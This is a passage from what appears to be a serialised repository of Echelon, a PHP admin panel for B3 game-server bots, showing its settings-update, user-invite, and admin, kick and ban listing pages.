cleanvar($_POST['email_header']);\r\n$f_email_footer = cleanvar($_POST['email_footer']);\r\n$f_newsfeed = $_POST['newsfeed'];\r\n$f_pw_req_level = cleanvar($_POST['pw_req_level']);\r\n$f_pw_req_level_group = cleanvar($_POST['pw_req_level_group']);\r\n\r\n// Verify Password\r\n$password = $_POST['password']; // do not clean passwords\r\n\r\n// Set Checkboxes\r\nif($f_https == 'on')\r\n\t$f_https = 1;\r\nelse\r\n\t$f_https = 0;\r\n\t\r\nif($f_allow_ie == 'on')\r\n\t$f_allow_ie = 1;\r\nelse\r\n\t$f_allow_ie = 0;\r\n\t\r\nif($f_pw_req_level == 'on')\r\n\t$f_pw_req_level = 1;\r\nelse\r\n\t$f_pw_req_level = 0;\r\n\t\r\n## Check for empty vars ##\r\nemptyInput($f_name, 'site name');\r\nemptyInput($f_limit_rows, 'no of rows per table page');\r\nemptyInput($f_min_pw_len, 'minimum password length');\r\nemptyInput($f_user_key_expire, 'user registration key length');\r\nemptyInput($f_email, 'site email');\r\nemptyInput($f_admin_name, 'admin name');\r\nemptyInput($f_time_format, 'time format');\r\nemptyInput($f_time_zone, 'time zone');\r\nemptyInput($f_email_header, 'email header text');\r\nemptyInput($f_email_footer, 'email footer text');\r\nemptyInput($f_newsfeed, 'newsfeed text');\r\nemptyInput($password, 'your current password');\r\n\r\n## Check no. ##\r\nif(!is_numeric($f_limit_rows) || !is_numeric($f_min_pw_len) || !is_numeric($f_user_key_expire) )\r\n\tsendBack('Some of that information is suppose to be a number!');\r\n\t\r\n## Check Email is valid ##\r\nif(!filter_var($f_email, FILTER_VALIDATE_EMAIL)) \r\n\tsendBack('The email supplied is not valid');\r\n\t\r\n## Check that authorisation passsword is correct ##\r\n$mem->reAuthUser($password, $dbl);\r\n\t\r\n## Create array of sent vars ##\r\n$sent_settings = array(\r\n\t'name' => $f_name,\r\n\t'limit_rows' => $f_limit_rows,\r\n\t'min_pw_len' => $f_min_pw_len,\r\n\t'user_key_expire' => $f_user_key_expire,\r\n\t'email' => $f_email,\r\n\t'admin_name' => $f_admin_name,\r\n\t'https' => $f_https,\r\n\t'allow_ie' => $f_allow_ie,\r\n\t'time_format' => $f_time_format,\r\n\t'time_zone' => $f_time_zone,    \r\n\t'email_header' => $f_email_header,\r\n\t'email_footer' => $f_email_footer,\r\n    'newsfeed' => $f_newsfeed,\r\n);\r\n\r\n## What needs updating ##\r\n// Check the values sent by the form against what is stored in the database to find out what needs to be updated\r\n// rather than just updating every config settings in the DB\r\n$settings_table = $dbl->getSettings('cosmos'); // get the values of the settings from the config db table\r\n\r\nif(!$no_games) :\r\n\t$sent_settings['pw_req_level'] = $f_pw_req_level;\r\n\t$sent_settings['pw_req_level_group'] = $f_pw_req_level_group;\r\nelse:\t\r\n\t$sent_settings['pw_req_level'] = $settings_table['pw_req_level'];\r\n\t$sent_settings['pw_req_level_group'] = $settings_table['pw_req_level_group'];\r\nendif;\r\n\r\nforeach($sent_settings as $key => $value) :\r\n\tif($sent_settings[$key] != $settings_table[$key])\r\n\t\t$updates[$key] = $value;\r\nendforeach;\r\n\r\n## Update DB ##\r\nforeach($updates as $key => $value) :\r\n\tif($key == 'limit_rows' || $key == 'min_pw_len' || $key == 'user_key_expire' || $key == 'pw_req_level')\r\n\t\t$value_type = 'i';\r\n\telse\r\n\t\t$value_type = 's';\r\n\t\t\r\n\tif($key != 'num_games') // num_games is the only cosmos setting not to be changed by this page\r\n\t\t$result = $dbl->setSettings($value, $key, $value_type); /// update the settings in the DB\r\n\t\r\n\tif($result == false)\r\n\t\tsendBack('Something did not update');\r\n\r\nendforeach;\r\n\r\n## Return ##\r\nsendGood('Your settings have been updated');\r\n", "echelon/actions/user-add.php": "<?php\r\n#error_reporting(-1);\r\n#ini_set('display_errors', 'On');\r\n#set_error_handler(\"var_dump\");\r\n\r\n$auth_name = 'add_user';\r\nrequire '../inc.php';\r\n\r\n## if form is submitted ##\t\r\nif(!isset($_POST['add-user'])) // if this was not a post request then send back with error \r\n\tsendBack('Please do not access that page directly');\r\n\r\n## check that the sent form token is corret\r\nif(!verifyFormToken('adduser', $tokens)) // verify token\r\n\tifTokenBad('Add User');\r\n\r\n// set email and comment and clean\r\n$email = cleanvar($_POST['email']);\r\n$comment = cleanvar($_POST['comment']);\r\n$group = cleanvar($_POST['group']);\r\n\r\n// check the new email address is a valid email address\r\nif(!filter_var($email,FILTER_VALIDATE_EMAIL))\r\n\tsendBack('That email is not valid');\r\n\r\n// Create a unique key for the user\r\n$text = $admin_id.$email.uniqid(microtime(), true).$group; // take sent data and some random data to create a random string\r\n$rand_text = str_shuffle($text); // shuffle the string to make more random\r\n$user_key = genHash($rand_text); // hash the random string to get the user hash\r\n\r\n## email user about the key ##\r\n$body = '<html><body>';\r\n$body .= '<h2>Echelon User Key</h2>';\r\n$body .= $config['cosmos']['email_header'];\r\n$body .= 'This is the key you will need to use to register on Echelon. \r\n\t\t\t<a href=\"http://'.$_SERVER['SERVER_NAME'].PATH.'register.php?key='.$user_key.'&amp;email='.$email.'\">Register here</a>.<br />';\r\n$body .= 'Registration Key: '.$user_key;\r\n$body .= $config['cosmos']['email_footer'];\r\n$body .= '</body></html>';\r\n\r\n// replace %ech_name% in body of email with var from config\r\n$body = preg_replace('#%ech_name%#', $config['cosmos']['name'], $body);\r\n// replace %name%\r\n$body = preg_replace('#%name%#', 'new user', $body);\r\n\r\n$headers =  'MIME-Version: 1.0' . \"\\r\\n\"; \r\n$headers = \"From: echelon@\".$_SERVER['HTTP_HOST'].\"\\r\\n\";\r\n$headers .= \"Reply-To: \". EMAIL .\"\\r\\n\";\r\n$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\"; \r\n$subject = \"Echelon User Registration\";\r\n\r\n\r\n// send email\r\n#try {\r\n#mail($email, $subject, $body, $headers);\r\n#    sendGood('Mail sent.');\r\n#} catch (Exception $e) {\r\n#    sendBack('Caught exception: ',  $e->getMessage(), \".\");\r\n#}\r\n\r\n#if(!mail($email, $subject, $body, $headers))\r\n#\tsendback('There was a problem sending the email.');\r\n\t\r\n## run query to add key to the DB ##\r\n$add_user = $dbl->addEchKey($user_key, $email, $comment, $group, $mem->id);\r\nif(!$add_user)\r\n\tsendBack('There was a problem adding the key into the database');\r\n\r\n// all good send back good message\r\n#sendGood('Key Setup and Email has been sent to user');\r\nsendGood('Send this link to user:\r\n\t\t\t\"http://'.$_SERVER['SERVER_NAME'].PATH.'register.php?key='.$user_key.'&amp;email='.$email.'\"');", "echelon/active.php": "<?php\r\n$page = \"active\";\r\n$page_title = \"Inactive Admins\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_edit\";\r\n$order = \"asc\";\r\n\r\n$time = time();\r\n$length = 7; // default length in days that the admin must be in active to show on this list\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o']) \r\n\t$order = addslashes($_GET['o']);\r\n\t\r\nif($_GET['d'])\r\n\t$length = addslashes($_GET['d']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_edit');\r\nif(!in_array($orderby, $allowed_orderby)) // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_edit'; // if not just set to default id\r\n\r\n// allowed times to limit by\r\n$allowed_length = array(1, 3, 7, 14, 21, 28, 35, 182, 365);\r\nif(!in_array($length, $allowed_length)) // Check if the sent varible is in the allowed array \r\n\t$length = 7; // reset to default of 7 days\r\n\t\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n####### Query Setup #######\r\n\r\n$query = sprintf(\"SELECT c.id, c.name, c.connections, c.time_edit, g.name as level\r\n\tFROM clients c LEFT JOIN groups g ON c.group_bits = g.id\r\n\tWHERE c.group_bits >= 8\r\n\tAND(%d - c.time_edit > %d*60*60*24 )\", $time, $length);\r\n\r\n$query .= sprintf(\"ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\r\nrequire 'inc/header.php'; \r\n\r\nif(!$db->error) :\r\n?>\r\n\r\n<div class=\"col-lg-11 mx-auto my-2\">\r\n<div class=\"card my-2\">\r\n<h5 class=\"card-header\">Inactive Admins</h5>\r\n<div class=\"card-body table table-hover table-sm table-responsive\">\r\n<table width=\"100%\">\r\n\t\t<form action=\"active.php\" method=\"get\" class=\"sm-f-select\">\r\n        <div class=\"row my-1\">\r\n        <small class=\"my-auto mx-3\">There are <strong><?php echo $total_rows; ?></strong> admins who have not been seen by B3 for</small>\r\n\t\t\t<select class=\"form-control col-md-2\" name=\"d\" onchange=\"this.form.submit()\">\r\n\t\t\t\t<option value=\"1\"<?php if($length == '1') echo ' selected=\"selected\"'; ?>>1 Day</option>\r\n\t\t\t\t<option value=\"3\"<?php if($length == '3') echo ' selected=\"selected\"'; ?>>3 Days</option>\r\n\t\t\t\t<option value=\"7\"<?php if($length == '7') echo ' selected=\"selected\"'; ?>>1 Week</option>\r\n\t\t\t\t<option value=\"14\"<?php if($length == '14') echo ' selected=\"selected\"'; ?>>2 Weeks</option>\r\n\t\t\t\t<option value=\"21\"<?php if($length == '21') echo ' selected=\"selected\"'; ?>>3 Weeks</option>\r\n\t\t\t\t<option value=\"28\"<?php if($length == '28') echo ' selected=\"selected\"'; ?>>4 Weeks</option>\r\n\t\t\t\t<option value=\"35\"<?php if($length == '35') echo ' selected=\"selected\"'; ?>>5 Weeks</option>\r\n\t\t\t\t<option value=\"182\"<?php if($length == '182') echo ' selected=\"selected\"'; ?>>6 Months</option>\r\n\t\t\t\t<option value=\"365\"<?php if($length == '365') echo ' selected=\"selected\"'; ?>>1 Year</option>\r\n\t\t\t</select>\r\n            </div>\r\n\t\t</form>\r\n\t</caption>\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSort('name', 'Name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-ID\r\n\t\t\t\t<?php linkSort('id', 'Client-id'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSort('group_bits', 'Level'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSort('connections', 'Connections'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSort('time_edit', 'Last Seen'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>\r\n\t\t\t\tDuration\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"6\">Click client name to see details.</th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) { // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $info): // get data from query and loop\r\n\t\t\t$cid = $info['id'];\r\n\t\t\t$name = $info['name'];\r\n\t\t\t$level = $info['level'];\r\n\t\t\t$connections = $info['connections'];\r\n\t\t\t$time_edit = $info['time_edit'];\r\n\t\t\t\r\n\t\t\t## Change to human readable\t\t\r\n\t\t\t$time_diff = time_duration($time - $time_edit, 'yMwd');\t\t\r\n\t\t\t$time_edit = date($tformat, $time_edit); // this must be after the time_diff\r\n\t\t\t$client_link = clientLink($name, $cid);\r\n\r\n\t\t\t$alter = alter();\r\n\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_edit</em></td>\r\n\t\t\t\t<td><em>$time_diff</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\t} else {\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"6\">There are no admins that have been in active for more than '. $length . ' days.</td></tr>';\r\n\t} // end if query contains information\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>\r\n", "echelon/adminkicks.php": "<?php\r\n$page = \"adminkicks\";\r\n$page_title = \"Admin Kicks\";\r\n$auth_name = 'penalties';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true; // this is a normal query page, so evoke query function in header.php\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_add\";\r\n$order = \"DESC\";\r\n\r\n//$limit_rows = 75; // limit_rows can be set by the DB settings // uncomment this line to manually overide the number of table rows per page\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('target_name', 'time_add', 'admins_name');\r\nif(!in_array($orderby, $allowed_orderby)) { // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_add'; // if not just set to default id\r\n}\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = \"SELECT p.time_add, p.reason, target.id as target_id, target.name as target_name, c.id as admin_id, c.name as admins_name FROM penalties p, clients c, clients as target WHERE admin_id != '0' AND p.type = 'Kick' AND inactive = 0 AND p.client_id = target.id AND p.admin_id = c.id\";\r\n\r\n$query .= sprintf(\" ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php'; \r\n\r\nif(!$db->error) :\r\n?>\r\n<div class=\"col-lg-11 mx-auto my-2\">\r\n<div class=\"card my-2\">\r\n<div class=\"card-header\">\r\n    <h5 class=\"my-auto\">Admin Kicks</h5></div>\r\n    <div class=\"card-body table table-hover table-sm table-responsive\">\r\n    <table width=\"100%\">\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Client\r\n\t\t\t\t<?php linkSort('target_name', 'client name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Kicked At\r\n\t\t\t\t<?php linkSort('time_add', 'time the penalty was added'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Reason</th>\r\n\t\t\t<th>\r\n\t\t\t\tAdmin\r\n\t\t\t\t<?php linkSort('admins_name', 'admin name'); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"4\"></th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) : // query contains stuff\r\n\r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$time_add = $data['time_add'];\r\n\t\t\t$reason = tableClean($data['reason']);\r\n\t\t\t$client_id = $data['target_id'];\r\n\t\t\t$client_name = tableClean($data['target_name']);\r\n\t\t\t$admin_id = $data['admin_id'];\r\n\t\t\t$admin_name = tableClean($data['admins_name']);\r\n\r\n\t\t\t## Tidt data to make more human friendly\r\n\t\t\tif($time_expire != '-1')\r\n\t\t\t\t$duration_read = time_duration($duration*60); // all penalty durations are stored in minutes, so multiple by 60 in order to get seconds\r\n\t\t\telse\r\n\t\t\t\t$duration_read = '';\r\n\r\n\t\t\t$time_add_read = date($tformat, $time_add);\r\n\t\t\t$reason_read = removeColorCode($reason);\r\n\t\t\t$client_link = clientLink($client_name, $client_id);\r\n\t\t\t$admin_link = clientLink($admin_name, $admin_id);\r\n\t\t\t\r\n\t\t\t## Row color\r\n\t\t\t$alter = alter();\r\n\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>$time_add_read</td>\r\n\t\t\t\t<td>$reason_read</td>\r\n\t\t\t\t<td><strong>$admin_link</strong></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\techo $data;\r\n\t\tendforeach;\r\n\telse:\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"4\">There are no kicks in the database</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n<?php \r\nendif;\r\n\r\nrequire 'inc/footer.php'; \r\n?>\r\n", "echelon/admins.php": "<?php\r\n$page = \"admins\";\r\n$page_title = \"Admin Listing\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"group_bits\";\r\n$order = \"DESC\"; // either ASC or DESC\r\n\r\n//$limit_rows = 75; // limit_rows can be set by the DB settings // uncomment this line to manually overide the number of table rows per page\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_edit');\r\n// Check if the sent varible is in the allowed array \r\nif(!in_array($orderby, $allowed_orderby))\r\n\t$orderby = 'time_edit'; // if not just set to default id\r\n\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\n\r\n$query = sprintf(\"SELECT c.id, c.name, c.connections, c.time_edit, g.name as level\r\n\tFROM clients c LEFT JOIN groups g ON c.group_bits = g.id\r\n\tWHERE c.group_bits >= 8 ORDER BY %s\", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\n$order = strtoupper($order); // force uppercase to stop inconsistentcies\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\nif(!$db->error) :\r\n?>\r\n<div class=\"col-lg-11 mx-auto my-2\">\r\n<div class=\"card my-2\">\r\n<h5 class=\"card-header\">Admin Listing</h5>\r\n<div class=\"card-body table table-hover table-sm table-responsive\">\r\n<table width=\"100%\">\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Name\r\n\t\t\t\t<?php linkSort('name', 'Name'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Level\r\n\t\t\t\t<?php linkSort('group_bits', 'Level'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Client-id\r\n\t\t\t\t<?php linkSort('id', 'Client-id'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Connections\r\n\t\t\t\t<?php linkSort('connections', 'Connections'); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Last Seen\r\n\t\t\t\t<?php linkSort('time_edit', 'Last Seen'); ?>\r\n\t\t\t</th>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<th colspan=\"5\"></th>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\t\r\n\tif($num_rows > 0) : // query contains stuff\r\n\t \r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$cid = $data['id'];\r\n\t\t\t$name = $data['name'];\r\n\t\t\t$level = $data['level'];\r\n\t\t\t$connections = $data['connections'];\r\n\t\t\t$time_edit = $data['time_edit'];\r\n\t\t\t\r\n\t\t\t## Change to human readable\t\t\r\n\t\t\t$time_edit_read = date($tformat, $time_edit); // this must be after the time_diff\r\n\t\t\t$client_link = clientLink($name, $cid);\r\n\t\t\t\r\n\t\t\t## row color\r\n\t\t\t$alter = alter();\r\n\t\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client_link</strong></td>\r\n\t\t\t\t<td>$level</td>\r\n\t\t\t\t<td>@$cid</td>\r\n\t\t\t\t<td>$connections</td>\r\n\t\t\t\t<td><em>$time_edit_read</em></td>\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\telse:\r\n\t\t$no_data = true;\r\n\t\techo '<tr class=\"odd\"><td colspan=\"5\">There are no registered admins</td></tr>';\r\n\tendif; // no records\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>", "echelon/bans.php": "<?php\r\nif(!isset($_GET['t']))\r\n\t$t = 'b';\r\nelse\r\n\t$t = $_GET['t'];\r\n\t\r\nif($t == 'a') :\r\n\t$page = \"adminbans\";\r\n\t$page_title = \"Admin Bans\";\r\n\t$type_admin = true;\r\nelse :\r\n\t$page = \"b3pen\";\r\n\t$page_title = \"B3 Penalties\";\r\n\t$type_admin = false; // this is not an admin page\r\nendif;\r\n\t\r\n$auth_name = 'penalties';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_add\";\r\n$order = \"DESC\";\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o'])\r\n\t$order = addslashes($_GET['o']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('client_name', 'type', 'time_add', 'duration', 'time_expire');\r\nif(!in_array($orderby, $allowed_orderby)) // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_add'; // if not just set to default id\r\n\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n######### QUERIES #########\r\nif($type_admin)\r\n\t$query = \"SELECT p.type, p.time_add, p.time_expire, p.reason, p.duration, target.id as client_id, target.name as client_name, c.id as admins_id, c.name as admins_name FROM penalties p, clients c, clients as target WHERE admin_id != '0' AND (p.type = 'Ban' OR p.type = 'TempBan' OR p.type = 'Kick') AND inactive = 0 AND p.time_expire <> 0 AND p.client_id = target.id AND p.admin_id = c.id\";\r\nelse\r\n\t$query = \"SELECT p.type, p.time_add, p.time_expire, p.reason, p.data, p.duration, p.client_id, c.name as client_name FROM penalties p LEFT JOIN clients c ON p.client_id = c.id WHERE p.admin_id = 0 AND (p.type = 'Ban' OR p.type = 'TempBan' OR p.type = 'Kick') AND p.inactive = 0\";\r\n\r\n\r\n$query .= sprintf(\" ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\t\r\nrequire 'inc/header.php';\r\n\r\n?>\r\n<div class=\"col-lg-11 mx-auto my-2\">\r\n<div class=\"card my-2\">\r\n<?php\r\nif(!$db->error) :\r\n\r\nif($type_admin) :\r\n    echo '<h5 class=\"card-header\">Admin Bans</h5>';\r\nelse:\r\n    echo '<h5 class=\"card-header\">B3 Bans & Kicks</h5>';\r\nendif;\r\n?>\r\n<div class=\"card-body table table-hover table-sm table-responsive\">\r\n<table width=\"100%\" >\r\n\r\n\t<thead>\r\n\t\t<tr>\r\n\t\t\t<th>Target\r\n\t\t\t\t<?php linkSortBan('client_name', 'Name', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Type\r\n\t\t\t\t<?php linkSortBan('type', 'penalty type', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Added\r\n\t\t\t\t<?php linkSortBan('time_add', 'time the penalty was added', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Duration\r\n\t\t\t\t<?php linkSortBan('duration', 'duration of penalty', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Expires\r\n\t\t\t\t<?php linkSortBan('time_expire', 'time the penalty expires', $t); ?>\r\n\t\t\t</th>\r\n\t\t\t<th>Reason</th>\r\n\t\t\t<?php if($type_admin) echo '<th>Admin</th>'; // only the admin type needs this header line ?>\r\n\t\t</tr>\r\n\t</thead>\r\n\t<tfoot>\r\n\t\t<tr>\r\n\t\t\t<?php \r\n\t\t\t\tif($type_admin) \r\n\t\t\t\t\techo '<th colspan=\"7\"></th>'; // admin type has 7 cols\r\n\t\t\t\telse \r\n\t\t\t\t\techo '<th colspan=\"6\"></th>'; // the b3 type has only 6 cols\r\n\t\t\t?>\r\n\t\t</tr>\r\n\t</tfoot>\r\n\t<tbody>\r\n\t<?php\r\n\tif($num_rows > 0) { // query contains stuff\r\n\r\n\t\tforeach($data_set as $data): // get data from query and loop\r\n\t\t\t$type = $data['type'];\r\n\t\t\t$time_add = $data['time_add'];\r\n\t\t\t$time_expire = $data['time_expire'];\r\n\t\t\t$reason = tableClean($data['reason']);\r\n\t\t\t$pen_data = tableClean($data['data']);\r\n\t\t\t$duration = $data['duration'];\r\n\t\t\t$client_id = $data['client_id'];\r\n\t\t\t$client_name = tableClean($data['client_name']);\r\n\t\t\t\r\n\t\t\tif($type_admin) { // only admin type needs these lines\r\n\t\t\t\t$admin_id = $data['admins_id'];\r\n\t\t\t\t$admin_name = tableClean($data['admins_name']);\r\n\t\t\t}\r\n\r\n\t\t\t## Tidt data to make more human friendly\r\n\t\t\tif($time_expire != '-1')\r\n\t\t\t\t$duration_read = time_duration($duration*60); // all penalty durations are stored in minutes, so multiple by 60 in order to get seconds\r\n\t\t\telse\r\n\t\t\t\t$duration_read = '';\r\n\r\n\t\t\tif($type == 'Kick')\r\n\t\t\t\t$time_expire_read = '(Kick Only)'; \r\n            elseif ($type == 'Notice')\r\n                $time_expire_read = ''; \r\n\t\t\telse\r\n\t\t\t\t$time_expire_read = timeExpirePen($time_expire);\r\n            \r\n\t\t\t\r\n\t\t\t$time_add_read = date($tformat, $time_add);\r\n\t\t\t$reason_read = removeColorCode($reason);\r\n\t\t\t\r\n\t\t\tif($type_admin) // admin cell only needed for admin type\r\n\t\t\t\t$admin = '<td><strong>'. clientLink($admin_name, $admin_id) .'</strong></td>';\r\n\t\t\telse\r\n\t\t\t\t$admin = NULL;\r\n\r\n\t\t\t## Row color\r\n\t\t\t$alter = alter();\r\n\t\t\t\t\r\n\t\t\t$client = clientLink($client_name, $client_id);\r\n\r\n\t\t\t// setup heredoc (table data)\t\t\t\r\n\t\t\t$data = <<<EOD\r\n\t\t\t<tr class=\"$alter\">\r\n\t\t\t\t<td><strong>$client</strong></td>\r\n\t\t\t\t<td>$type</td>\r\n\t\t\t\t<td>$time_add_read</td>\r\n\t\t\t\t<td>$duration_read</td>\r\n\t\t\t\t<td>$time_expire_read</td>\r\n\t\t\t\t<td>$reason_read\r\n\t\t\t\t\t<br /><em>$pen_data</em>\r\n\t\t\t\t</td>\r\n\t\t\t\t$admin\r\n\t\t\t</tr>\r\nEOD;\r\n\r\n\t\t\techo $data;\r\n\t\tendforeach;\r\n\t\t\r\n\t\t$no_data = false;\r\n\t} else {\r\n\t\t$no_data = true;\r\n\t\tif($type_admin) // slight chnages between different page types\r\n\t\t\techo '<tr class=\"odd\"><td colspan=\"7\">There no tempbans or bans made by admins in the database</td></tr>';\r\n\t\telse\r\n\t\t\techo '<tr class=\"odd\"><td colspan=\"6\">There no tempbans or bans made by the B3 bot in the database</td></tr>';\r\n\t} // end if query contains\r\n\t?>\r\n\t</tbody>\r\n</table>\r\n</div></div></div>\r\n<?php \r\n\tendif; // db error\r\n\r\n\trequire 'inc/footer.php'; \r\n?>\r\n", "echelon/classes/dbl-class.php": "<?php\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'dbl-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. 